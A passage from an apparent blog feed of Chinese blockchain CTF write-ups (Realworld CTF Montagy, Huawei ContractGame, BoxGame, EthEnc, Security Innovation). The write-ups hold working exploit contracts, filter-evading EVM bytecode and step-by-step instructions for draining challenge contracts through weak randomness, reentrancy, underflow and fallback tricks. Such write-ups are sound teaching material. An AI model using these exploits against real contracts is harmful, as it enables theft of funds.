add(code, 0x20), 0, size) } for(uint256 i = 0; i < code.length; i++) { res = int(uint8(code[i])); require(res.isPrime() == true); } bool success; bytes memory _; (success, _) = _addr.delegatecall(""); require(success); }} 沙箱游戏,目的是清空合约余额,bytecode 每一个字节必须全为质数,比较简单,直接按照下图部署 call 的参数,然后使 value 为 0x64 即可 需要注意的是,push 的时候遇到不是质数的情况,通过加减或者使用 0x61 补 0 即可,部署一个下面的 bytecode 即可 12345678910111213140x6100016100016100016100016100016100650361000161fbfbf1/*PUSH2 0x0001PUSH2 0x0001PUSH2 0x0001PUSH2 0x0001PUSH2 0x0001PUSH2 0x0065SUBPUSH2 0x0001PUSH2 0xfbfbCALL*/]]></content>
<categories>
<category>🌟ctf2021</category>
</categories>
<tags>
<tag>🌟ctf2021</tag>
<tag>Blockchain</tag>
</tags>
</entry>
<entry>
<title><![CDATA[第三届realworld 区块链wp]]></title>
<url>%2F2021%2Frw2021%2F</url>
<content type="text"><![CDATA[前言 第三届 realworld, blockchains 的 WP 总共有三题,队伍总共做出两道,后续会持续更新 随时欢迎大家交流,随便写写 点击这里 -> 题目附件 Montagy 题目目标清空余额 和队友一起做出来的题目,应该是非预期做出来的,这里会将我们的解法和预期解法都稍微写一下 非预期解法 我们做出来的题目地址 https://rinkeby.etherscan.io/address/0x8095e742cFeAFf77b92BdE56951388a6585E98d5 非预期思想就是碰撞,碰撞代码来自于 liangjs 师傅 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106#include <cstdio>#include <ctime>#include <cstdint>#include <cstdlib>#include <vector>#include <algorithm>using namespace std;uint64_t forw(uint32_t t1, uint32_t t2, uint32_t m1, uint32_t m2, uint32_t m3, uint32_t m4){ uint32_t p1, p2, p3; uint32_t s = 0x6644498b; for (int i = 0; i < 16; ++i) { s = s + 0x68696e74; p1 = (t1<<4) - m1; p2 = t1 + s; p3 = (t1>>5) + m2; t2 = t2 + (p1^(p2^p3)); p1 = (t2<<4) + m3; p2 = t2 + s; p3 = (t2>>5) - m4; t1 = t1 + (p1^(p2^p3)); } return ((uint64_t)t1 << 32) | t2;}uint64_t back(uint32_t t1, uint32_t t2, uint32_t m1, uint32_t m2, uint32_t m3, uint32_t m4){ uint32_t p1, p2, p3; uint32_t s = (0x6644498b+0x68696e74ull*16) & 0xffffffff; for (int i = 0; i < 16; ++i) { p1 = (t2<<4) + m3; p2 = t2 + s; p3 = (t2>>5) - m4; t1 = t1 - (p1^(p2^p3)); p1 = (t1<<4) - m1; p2 = t1 + s; p3 = (t1>>5) + m2; t2 = t2 - (p1^(p2^p3)); s = s - 0x68696e74; } return ((uint64_t)t1 << 32) | t2;}int main(){ srand(time(0)); vector<uint64_t> data; data.reserve(1ull<<31); uint32_t tb1 = 443551905, tb2 = 186746487; uint32_t te1 = 1418013151, te2 = 3531071330; for (uint64_t i = 0; i < (1ull<<31); ++i) { uint64_t v = forw(tb1, tb2, 0, 0, 0, i); data.push_back(v); if (i % 10000000 == 0) printf("i=%ld\n",i); } printf("sort\n"); sort(data.begin(), data.end()); printf("unique\n"); data.erase(unique(data.begin(), data.end()), data.end()); uint64_t gv = 0; for (uint64_t m3 = 0;; ++m3) { vector<uint64_t> data2; data2.reserve(1ull<<30); for (uint64_t m4 = 0; m4 < (1ull<<30); ++m4) { uint64_t v = back(te1, te2, 0, 0, m3, m4); data2.push_back(v); if (m4 % 10000000 == 0) printf("i=%ld\n", m4); } printf("sort\n"); sort(data2.begin(), data2.end()); uint64_t i = 0, j = 0; while (i < data.size() && j < data2.size()) { if (data[i] == data2[j]) { gv = data[i]; break; } else if (data[i] < data2[j]) ++i; else ++j; } if (gv != 0) { printf("gv=%lx\n", gv); printf("m3=%lx\n", m3); for (uint64_t m4 = 0; m4 < (1ull<<30); ++m4) { uint64_t v = back(te1, te2, 0, 0, m3, m4); if (v == gv) { printf("m4=%lx\n", m4); break; } } break; } } for (uint64_t i = 0; i < (1ull<<31); ++i) { uint64_t v = forw(tb1, tb2, 0, 0, 0, i); if (v == gv) { printf("m4=%lx\n", i); break; } } return 0;} 这是我们部署的 newPuzzle ,我们是直接改的题目中的 newPuzzle ,把 0x403 字节位置的 0x14(等于) 改为了 0x10(小于),这样随便找一个 seed 满足条件即可,当然也可以直接写一个攻击合约调用题目的 solve 也行(填充到指定字节,然后碰撞也可以) 10x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610542806100606000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806304f77cfa146100515780634059e88714610073578063fd922a42146101c5578063ffa644851461020f575b600080fd5b61005961028e565b604051808215151515815260200191505060405180910390f35b6101c36004803603604081101561008957600080fd5b81019080803590602001906401000000008111156100a657600080fd5b8201836020820111156100b857600080fd5b803590602001918460018302840111640100000000831117156100da57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561013d57600080fd5b82018360208201111561014f57600080fd5b8035906020019184600183028401116401000000008311171561017157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610362565b005b6101cd61049e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028c600480360361012081101561022657600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506104c3565b005b6000806009546008546007541818600654600554600454181860035460025460015418180101905060006009546006546003540101600854600554600254010160075460045460015401011818905063aabbccdd818301106102ef57600080fd5b708261e26b90505061031256e5afb60721cb821161030c57600080fd5b8082027ef35b6080614321368282376084810151606401816080016143855161051756101561033a57600080fd5b6f65e670d9bd540cea22fdab97e36840e2818303101561035957600080fd5b60019250505090565b61036a61028e565b61037357600080fd5b716111d850336107ef16565b908018915a905660701b6dffffffffffffffffffffffffffff19168280519060200120101561049a576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376fe1e92826040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561043557808201518184015260208101905061041a565b50505050905090810190601f1680156104625780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b88600181905550876002819055508660038190555085600481905550846005819055508360068190555082600781905550816008819055508060098190555050505050505050505056fea265627a7a723158205b60025b80600514615676d5110000000000000000000000001230212a0000000100000000000000000032 因为我们是直接改的题目中的 puzzle ,所以我们需要绕过 loose ,这里是 1ph0n 师傅提供的 123456789101112131415161718192021222324252627282930313233343536# loose() writeupfor a in range(1, 16): for b in range(1, 16): for c in range(1, 16): if a + b + c == 7 and a ^ b ^ c == 3: print(a, b, c) # output:# 2 2 3 # 2 3 2 # 3 2 2# match them to:# a b c# d e f# g h ia = 0x2000000000000000000000000000000000000000000000000000000000000000b = 0x2000000000000000000000000000000000000000000000000000000000000000c = 0x3000000000000000000000000000000000000000000000000000000000000000d = 0x2000000000000000000000000000000000000000000000000000000000000000e = 0x3000000000000000000000000000000000000000000000000000000000000000f = 0x2000000000000000000000000000000000000000000000000000000000000000g = 0x3000000000000000000000000000000000000000000000000000000000000000h = 0x2000000000000000000000000000000000000000000000000000000000000000i = 0x2000000000000000000000000000000000000000000000000000000000000000# test: t1 = (a^b^c)+(d^e^f)+(g^h^i)t2 = (a+d+g)^(b+e+h)^(c+f+i)print(hex(t1))print(hex(t2))print((t1 + t2) % 0x10000000000000000000000000000000000000000000000000000000000000000 < 0xaabbccdd )print(t1 > 0x8261e26b90505061031256e5afb60721cb)print(0xf35b6080614321368282376084810151606401816080016143855161051756 >= (t1*t2) % 0x10000000000000000000000000000000000000000000000000000000000000000)print(t1 - t2 >= 0x65e670d9bd540cea22fdab97e36840e2) 然后就可以找一个 seed 符合我们改过之后的条件(条件改为了小于)就行啦 顺便这里插嘴一句,由于我拥有强大的暗黑之力,🤓我找到了所有队伍做这道题目的地址,吼吼哈嘿,快夸我🐶(只标注了一些队伍) 12345678910111213141516170x05751749a85D2149C76BC035af4826208Dd9118b AAA0x0F4f4c78cE13b69239A676fE65C72bf974b3fCa30x6D2BD358b7788E27C271eFE4d40b7A82F6E6c7830x6BA08F6731509c63026Bc431023F35e49fF4f8fC0x8FA83b9e152120F11c13d678c7879C3eC2f14DB70xA54c712054dEDD5587B5c39F1DF0Aab8BD782B630xC66005B6295f396b4289219486aC62aCFC0Ff4d40xbc16Cf28E491Ae88C36638642e7673Af4570A1e40x3E8C7FEc0166bd59Ca1FcD0672bF8E3915c56Bdf0x4E8d7823046b3CE7eBd99F7282B18c3DaDD879ED0x44cE28ad66C38dD334C518EA6f07248a1B3EA08C0x6B217cbB59e6d0edb104D815db749436708434630x60a05Ada89061221e1602957097248FC8c373fE4 0ops0xDA93b922A68d42Edd7E377f4E06fD574A70B61230x726a02a9176e8E458CE8bD75305B92e72a8b4eA2 Sauercloud0x00E457CD4A251d58D9Af7F674857c78a6Dc73e8F0x11674249BdC62045947e3022808B6dfD009573B6 预期解法 预期解法应该是比特翻转(这是 tag 中变形 tea 算法的特性),这个在比赛中也发现了,不过队友都碰撞出了,就没有继续向下看,全场队伍应该只有 0ops 是预期解,它们的地址是 https://rinkeby.etherscan.io/address/0x60a05ada89061221e1602957097248fc8c373fe4 改动 6 bit,具体自行分析,或者也可以等官方首席的 WP,不想分析了23333,懒癌患者,等官方 WP 公布之后会搬运过来,我只是个搬运工5555 首席公开了源码 https://github.com/xhyumiracle/rwctf3rd-Re-Montagy, WP 见 https://github.com/0ops/ctfs-2021/tree/main/RealWorldCTF/Re_Montagy EasyDefi 这是 sissel 师傅做出来的题目,看看师傅会不会放 wp 啦,我就先不写啦 找到一份 syang 师傅的 👉 wp 👈 billboard 未解出,虽然赛后咨询了出题人正确解法,知道了大概原因,但还是准备等待官方 WP 后再更新 👉 官方WP 👈 来啦 🤓 下面是本地复现成功的结果,太感谢 iczc 师傅了]]></content>
<categories>
<category>realworld2021</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>realworld2021</tag>
</tags>
</entry>
<entry>
<title><![CDATA[华为鸿蒙场区块链 ContractGame]]></title>
<url>%2F2020%2Fcontractgame%2F</url>
<content type="text"><![CDATA[前言 华为鸿蒙场区块链题目 水题,我 Ver 喷的题都是水题 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112pragma solidity ^0.4.23;contract ContractGame { event SendFlag(address addr); mapping(address => bool) internal authPlayer; uint private blocknumber; uint private gameFunds; uint private cost; bool private gameStopped = false; address public owner; bytes4 private winningTicket; uint randomNumber = 0; mapping(address=>bool) private potentialWinner; mapping(address=>uint256) private rewards; mapping(address=>bytes4) private ticketNumbers; constructor() public payable { gameFunds = add(gameFunds, msg.value); cost = div(gameFunds, 10); owner = msg.sender; rewards[address(this)] = msg.value; } modifier auth() { require(authPlayer[msg.sender], "you are not authorized!"); _; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function BetGame(bool mark) external payable { require(msg.value == cost); require(gameFunds >= div(cost, 2)); bytes32 entropy = blockhash(block.number-1); bytes1 coinFlip = entropy[10] & 1; if ((coinFlip == 1 && mark) || (coinFlip == 0 && !mark)) { gameFunds = sub(gameFunds, div(msg.value, 2)); msg.sender.transfer(div(mul(msg.value, 3), 2)); } else { gameFunds = add(gameFunds, msg.value); } if (address(this).balance==0) { winningTicket = bytes4(0); blocknumber = block.number + 1; gameStopped = false; potentialWinner[msg.sender] = true; rewards[msg.sender] += msg.value; ticketNumbers[msg.sender] = bytes4((msg.value - cost)/10**8); } } function closeGame() external auth { require(!gameStopped); require(blocknumber != 0); require(winningTicket == bytes4(0)); require(block.number > blocknumber); require(msg.sender == owner || rewards[msg.sender] > 0); winningTicket = bytes4(blockhash(blocknumber)); potentialWinner[msg.sender] = false; gameStopped = true; } function winGame() external auth { require(gameStopped); require(potentialWinner[msg.sender]); if(winningTicket == ticketNumbers[msg.sender]){ emit SendFlag(msg.sender); } selfdestruct(msg.sender); } function AddAuth(address addr) external { authPlayer[addr] = true; } function() public payable auth{ if(msg.value == 0) { this.closeGame(); } else { this.winGame(); } }} Analyse 题目逆向不难,但是较为复杂,上面是源码 考点有三个: 考察对动态数组、map类型数据的存储规则计算 考察 blockhash 考察 fallback 及 msg.sender 的理解 Exp12345678910111213141516171819202122232425262728contract hack { ContractGame target = ContractGame(题目地址); // first: call pwn with 2 ether function pwn() payable public { bytes32 entropy = block.blockhash(block.number-1); bytes1 coinFlip = entropy[10] & 1; for(int i=0;i<20;i++){ if (coinFlip == 1){ target.BetGame.value(100000000000000000)(true); } else { target.BetGame.value(100000000000000000)(false); } } } // second: call AddAuth(题目合约地址) // third: call AddAuth(外部账户地址) // forth: call AddAuth(攻击合约地址) // fifth: after 256 blocks then call fallback(可以通过外部账户直接转账msg.value=0即可,然后会调用closeGame函数) // sixth: call winGame() function winGame() public { target.winGame(); } function() payable {}} 具体过程都在上面 exp 的注释里面 按照 first 到 sixth 的顺序执行即可]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>华为鸿蒙场 ctf</tag>
</tags>
</entry>
<entry>
<title><![CDATA[华为鲲鹏计算场区块链 boxgame]]></title>
<url>%2F2020%2Fboxgame%2F</url>
<content type="text"><![CDATA[前言 华为鲲鹏计算场区块链题目 一个沙箱游戏,比较简单 Source 题目合约如下所示 12345678910111213141516171819202122232425262728293031323334pragma solidity ^0.5.10;contract BoxGame { event ForFlag(address addr); address public target; constructor(bytes memory a) payable public { assembly { return(add(0x20, a), mload(a)) } } function check(address _addr) public { uint size; assembly { size := extcodesize(_addr) } require(size > 0 && size <= 4); target = _addr; } function payforflag(address payable _addr) public { require(_addr != address(0)); target.delegatecall(abi.encodeWithSignature("")); selfdestruct(_addr); } function sendFlag() public payable { require(msg.value >= 1000000000 ether); emit ForFlag(msg.sender); }} 构造函数中的真实合约如下 1234567891011121314151617181920212223242526272829303132333435363738394041pragma solidity ^0.5.10;contract BoxGame { event ForFlag(address addr); address public target; function payforflag(address payable _addr) public { require(_addr != address(0)); uint256 size; bytes memory code; assembly { size := extcodesize(_addr) code := mload(0x40) mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(code, size) extcodecopy(_addr, add(code, 0x20), 0, size) } for(uint256 i = 0; i < code.length; i++) { require(code[i] != 0xf0); // CREATE require(code[i] != 0xf1); // CALL require(code[i] != 0xf2); // CALLCODE require(code[i] != 0xf4); // DELEGATECALL require(code[i] != 0xfa); // STATICCALL require(code[i] != 0xff); // SELFDESTRUCT } _addr.delegatecall(abi.encodeWithSignature("")); selfdestruct(_addr); } function sendFlag() public payable { require(msg.value >= 1000000000 ether); emit ForFlag(msg.sender); }} Analyse 合约的 constructor 函数中部署的合约才是真正的合约,所以分析构造函数里面的字节码即可 其实相当于一个沙盒,过滤了 f0 f1 f2 f4 fa ff 这些字节,即攻击合约中字节码不能出现这些字节,可以创建一个 emit ForFlag(0) 的合约,中间如果有禁止的字节,转换一下即可 Exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859contract pikachu { /* emit ForFlag(address(0)); 7F PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2 60 PUSH1 0x00 60 PUSH1 0x40 51 MLOAD 80 DUP1 82 DUP3 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff 16 AND 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff 16 AND 81 DUP2 52 MSTORE 60 PUSH1 0x20 01 ADD 91 SWAP2 50 POP 50 POP 60 PUSH1 0x40 51 MLOAD 80 DUP1 91 SWAP2 03 SUB 90 SWAP1 A1 LOG1 */ // 将上述字节码通过一些转换不包含f0 f1 f2 f4 fa ff即可 constructor() public payable { assembly { mstore(0x500, 0x7f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9) mstore(0x520, 0xe27f000000000010000000000000000000000000000000000100000000000000) mstore(0x540, 0x0000016000604051808273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73) mstore(0x560, 0x1111111111111111111111111111111111111111011673eeeeeeeeeeeeeeeeee) mstore(0x580, 0xeeeeeeeeeeeeeeeeeeeeee731111111111111111111111111111111111111111) mstore(0x5a0, 0x0116815260200191505060405180910390a13460b26105003031f50000000000) return(0x500, 0x5c0) } }}contract Hack { BoxGame private constant target = BoxGame(0x4c3aa84018A031C11bE09e4b2dCC346Ae055956d); constructor() public payable { bool result; // emit ForFlag(0) pikachu hack = new pikachu(); (result, ) = address(target).call(abi.encodeWithSelector( 0xc1803191, hack )); require(result); }} 直接部署 Hack 即可]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>华为鲲鹏计算 ctf</tag>
</tags>
</entry>
<entry>
<title><![CDATA[华为云安全场区块链 ethenc]]></title>
<url>%2F2020%2Fethenc%2F</url>
<content type="text"><![CDATA[前言 华为云安全场区块链题目 其实很简单,和区块链关系不大 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130pragma solidity ^0.6.12;contract EthEnc { address private owner; //0 uint private key; //1 uint private delta; //2 uint public output; //3 uint32 private sum; uint224 private tmp_sum=0; //4 uint32 private key0; uint224 private t0=0; //5 uint32 private key1; uint224 private t1=0; //6 uint32 private key2; uint224 private t2=0; //7 uint32 private key3; uint224 private t3=0; //8 uint randomNumber = 0; string private s; event OhSendFlag(address addr); constructor() public payable { // key = 0x74686974 5f69735e 5f746573 746b6579 key = 0x746869745f69735e5f746573746b6579; delta = 0xb3c6ef3720; } modifier auth { require(msg.sender == owner || msg.sender == address(this), "EthEnc: not authorized"); _; } function payforflag() public auth { require(output == 2282910687825444608285583946662268071674116917685196567156); emit OhSendFlag(msg.sender); selfdestruct(msg.sender); } function Convert(string memory source) internal pure returns (uint result) { bytes32 tmp; assembly { tmp := mload(add(source, 32)) } result = uint(tmp) / 0x10000000000000000; } // 正 0x 5f5f6f68 5f66616e 74616e73 69746963 5f626162 795f5f5f __oh_fantansitic_baby___ function set_s(string memory _s) public { s = _s; } function Encrypt() public { uint tmp = Convert(s); assembly { let first,second sstore(5, and(shr(96, sload(1)), 0xffffffff)) sstore(6, and(shr(64, sload(1)), 0xffffffff)) sstore(7, and(shr(32, sload(1)), 0xffffffff)) sstore(8, and(sload(1), 0xffffffff)) let step := 1 for { let i := 1 } lt(i, 4) { i := add(i, 1) } { first := and(shr(mul(add(sub(24, mul(i, 8)), 4), 8), tmp), 0xffffffff) second := and(shr(mul(sub(24, mul(i, 8)), 8), tmp), 0xffffffff) sstore(4, 0) for {let j := 0 } lt(j, 32) { j := add(j, 1) } { let tmp11,tmp12 let tmp21,tmp22 tmp11 := and(add(xor(and(mul(second, 16), 0xffffffff), and(div(second, 32), 0xffffffff)), second), 0xffffffff) switch and(and(sload(4),0xffffffff), 3) case 0 { tmp12 := and(add(and(sload(4),0xffffffff), and(sload(5),0xffffffff)), 0xffffffff) } case 1 { tmp12 := and(add(and(sload(4),0xffffffff), and(sload(6),0xffffffff)), 0xffffffff) } case 2 { tmp12 := and(add(and(sload(4),0xffffffff), and(sload(7),0xffffffff)), 0xffffffff) } default { tmp12 := and(add(and(sload(4),0xffffffff), and(sload(8),0xffffffff)), 0xffffffff) } first := and(add(first, xor(tmp11, tmp12)), 0xffffffff) sstore(4, and(add(and(sload(4), 0xffffffff), shr(5, sload(2))), 0xffffffff)) tmp21 := and(add(xor(and(mul(first, 16), 0xffffffff), and(div(first, 32), 0xffffffff)), first), 0xffffffff) switch and(and(shr(11, and(sload(4),0xffffffff)), 0xffffffff), 3) case 0 { tmp22 := and(add(and(sload(4),0xffffffff), and(sload(5),0xffffffff)), 0xffffffff) } case 1 { tmp22 := and(add(and(sload(4),0xffffffff), and(sload(6),0xffffffff)), 0xffffffff) } case 2 { tmp22 := and(add(and(sload(4),0xffffffff), and(sload(7),0xffffffff)), 0xffffffff) } default { tmp22 := and(add(and(sload(4),0xffffffff), and(sload(8),0xffffffff)), 0xffffffff) } second := and(add(second, xor(tmp21, tmp22)), 0xffffffff) } sstore(3, add(sload(3), add(shl(sub(192, mul(step, 32)), first), shl(sub(192, mul(i, 64)), second)))) step := add(step, 2) } } } receive() external payable { if(msg.value == 0) { this.payforflag(); } else { this.Encrypt(); } }} Analyse 题目需要逆向,上面是源码 考点有三个: 考察对 evm 逆向能力 考察 xtea 加解密 考察 fallback 及 msg.sender 的理解 Exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152#include <stdio.h>#include <stdint.h>#include <string.h>/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; for (i=0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } v[0]=v0; v[1]=v1;}void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0]=v0; v[1]=v1;}int main(){ unsigned int i; uint32_t const k[4]={0x74686974,0x5f69735e,0x5f746573,0x746b6579}; unsigned int r=32; // 2282910687825444608285583946662268071674116917685196567156 = 0x5d1ab31f6a103c8f364d33e96dbdd5cdbd40d15e55c23274 uint32_t enc1[2] = {0x5d1ab31f, 0x6a103c8f}; uint32_t enc2[2] = {0x364d33e9, 0x6dbdd5cd}; uint32_t enc3[2] = {0xbd40d15e, 0x55c23274}; char flag[50]; decipher(r, enc1, k); decipher(r, enc2, k); decipher(r, enc3, k); printf("解密后的数据:%x %x %x %x %x %x\n",enc1[0],enc1[1],enc2[0],enc2[1],enc3[0],enc3[1]); // 0x5f5f6f685f66616e74616e73697469635f626162795f5f5f int s[24] = {0x5f, 0x5f, 0x6f, 0x68, 0x5f, 0x66, 0x61, 0x6e, 0x74, 0x61, 0x6e, 0x73, 0x69, 0x74, 0x69, 0x63, 0x5f, 0x62, 0x61, 0x62, 0x79, 0x5f, 0x5f, 0x5f}; for (i=0; i<24; i++) { printf("%c", s[i]); } return 0;} 上面的 exp 可以计算出 s 然后调用 set_s(s),调用 Encrypt() 最后给合约转账金额 0,触发 receive 函数调用 payforflag 即可]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>华为云安全 ctf</tag>
</tags>
</entry>
<entry>
<title><![CDATA[bjdctf_4th]]></title>
<url>%2F2020%2Fbjdctf-4th%2F</url>
<content type="text"><![CDATA[前言 首先圣诞哈皮丫,圣诞参加了 BJDCTF 4th ,可惜由于是周五,时间不太充足,大概总的做题时间就两个小时,就只把自己擅长的区块链的题目做了一下 感谢出题人小红花师傅没有暴打我 这里不会介绍题目,只是随便谈一些感慨吧(主要是我也不知道题目都在考察什么,因为我没去分析,靠着强大的暗黑之力,我找到了链上小红花师傅测试的交易,然后大家都懂的,我就直接复用了) 主要想说的是,对于区块链的题目,如果理解了本质,都是很容易的 现在区块链题目还没有一个彻底的能够解决我这种“抄作业”现象的方案,除非你是给每个队伍一条私链,还得保证互相不能访问,但如果是线下赛或者rw的话是可以保证的,但对于线上赛这种,目前是没有解决办法的 不过希望看到文章的同学不要学我哈,我这次比赛本来是想着自己好好做一下子的,因为也好久没有做过题了,想看一下自己做题的能力,结果由于周五事情比较多,总的比赛时间也不过就2个小时,我就偷了个懒,直接去找交易了(逃 不过现在的区块链比赛已经比之前好多了,出题人也尽量会考虑到这个问题,虽然还不能完全解决,但是在一定程度上是减轻了这种“抄作业”的能力,也希望有想法的各位👴可以与我探讨解决方案 好啦,其实也没太多想说的,主要还是昨天的节日快乐丫,迟来的祝福略略略]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>BJDCTF 4th</tag>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Security Innovation]]></title>
<url>%2F2020%2Fsecurityinnovation%2F</url>
<content type="text"><![CDATA[前言 双十一哈皮🐶 https://blockchain-ctf.securityinnovation.com/#/ 做了一遍,感觉这个网站上面的题目可能更贴近实际一些,新手小白刷完 https://ethernaut.openzeppelin.com/ 之后,可以选择性来做这个网站的题目 难度还是有的,还有很多小 trick ,目前上面是 13 道题目 看了《数码宝贝:最后的进化》,爷青结,然后发现好久没做题了,熟悉一下做题,大佬勿喷,不是 WP ,随便写一下 很多是参考了网上的 wp 的内容 懒癌患者 :) Donation 直接调用 withdrawDonationsFromTheSuckersWhoFellForIt 函数即可 Lock Box 考点是 EVM 中 storage 存储的读取 1await web3.eth.getStorageAt(ContractAddress, "1", function(x,y){console.info(y);}) Piggy Bank 考点是继承,重写的 collectFunds 函数实际上覆盖了 PiggyBank 中的同名函数 直接调用 collectFunds(piggyBalance) 即可 SI Token Sale 溢出漏洞 balances[msg.sender] += _value – feeAmount 只要传入一个小于 feeAmount 的 _value ,即可让我们的 balances 下溢,比如发送 1 gas,然后即可调用 refundTokens 函数将合约的余额清空,因为这里是将 _value 除 2 得到提取的余额,所以我们将合约的 etherCollection 乘 2 作为 _value 即可 Secure Bank MembersBank 合约跟 SecureBank 合约的 withdraw 函数的参数类型不同,一个的 _value 是 uint8,另一个却是 uint256,这样这两个函数的签名就不相同了,在合约里也就是两个不同的函数,不过它们使用 super.withdraw 最终都会调用 SimpleBank 的 withdraw 函数 MembersBank 中仅需要是注册用户即可,所以这题的流程就是先调用 register 函数注册一下,然后使用 etherscan 在挑战合约的创建交易里查看一下合约的创建者,因为合约的 ether 都存在了它的账户上,然后我们直接使用这个地址来调用 MembersBank 中的 withdraw 函数即可,也就是找到参数类型为 uint256 的函数 Lottery 随机数预测 12345678910111213contract attack { address instance_address = your challenge address; Lottery target = Lottery(your challenge address); function pwn() payable{ bytes32 entropy = block.blockhash(block.number); bytes32 entropy2 = keccak256(this); uint256 seeds = uint256(entropy^entropy2); target.play.value(msg.value)(seeds); } function () payable{}} Heads or Tails 随机数漏洞 每次猜对可以获得赌注的 1.5 倍,因为每次下注只能为 0.1 ether,所以一次的收益为 0.05 ether,要将合约的 ether 清空需要 20 次,那么我们直接在合约中循环调用 20 次即可 123456789101112131415161718contract attack { address instance_address = your challenge address; HeadsOrTails target = HeadsOrTails(your challenge address); function pwn() payable { bytes32 entropy = block.blockhash(block.number-1); bytes1 coinFlip = entropy[0] & 1; for(int i=0;i<20;i++){ if (coinFlip == 1){ target.play.value(100000000000000000)(true); } else { target.play.value(100000000000000000)(false); } } } function () payable {}} Record Label 调用 withdrawFundsAndPayRoyalties 函数时会将对应的 _withdrawAmount 全部发送至 Royalties 合约,而 Royalties 会将其中的 80% 发送给创建者,剩下的 20% 发回去,接着 withdrawFundsAndPayRoyalties 中又会将这 20% 发送给我们 所以我们直接将 _withdrawAmount 设为 1 ether 来调用 withdrawFundsAndPayRoyalties 函数即可 Trust Fund 重入漏洞 1234567891011contract attack { address instance_address = your challenge address; TrustFund target = TrustFund(your challenge address); function pwn(){ target.withdraw(); } function() payable { target.withdraw(); }} Slot Machine selfdestruct 不会触发 fallback payable 函数 Rainy Day Fund 这个题目也挺有意思,考点是 create 的计算方式,提前向可预测的地址转账 合约账户部署合约,nonce 从 1 开始计算 外部账户部署合约,nonce 从 0 开始计算 Raffle blockhash 这个函数,它可以获取给定的区块号的 hash 值,但只支持最近的 256 个区块,不包含当前区块,对于 256 个区块之前的函数将返回 0 触发 fallback 函数后,若 fallback 函数中又调用了自身函数,那么此时,msg.sender 变成了自身 所以先调用 buyTicket ,然后 ctf_challenge_add_authorized_sender 认证题目合约地址(这是因为接下来会触发 fallback 函数修改了 msg.sender),接着等待 256 个区块后触发 fallback 函数中 msg.value=0 这条分支调用 closeRaffle 函数,最后调用 collectReward 即可 Scratchcard 这道题我做的很简单,简单分析了一下题目的逻辑,大致得到必须得是第三方合约和其交互,并且只能在构造函数中完成功能逻辑,所以我就去链上找记录去了2333,成功找到一个别人做过的合约地址 0xD38308cb90F17a5aB1B4DD805f69Eb5798536Eea,完美,然后查看其内部交易(因为是第三方合约与题目进行交互,所以是内部交易),点开交易即可看到 Input Data 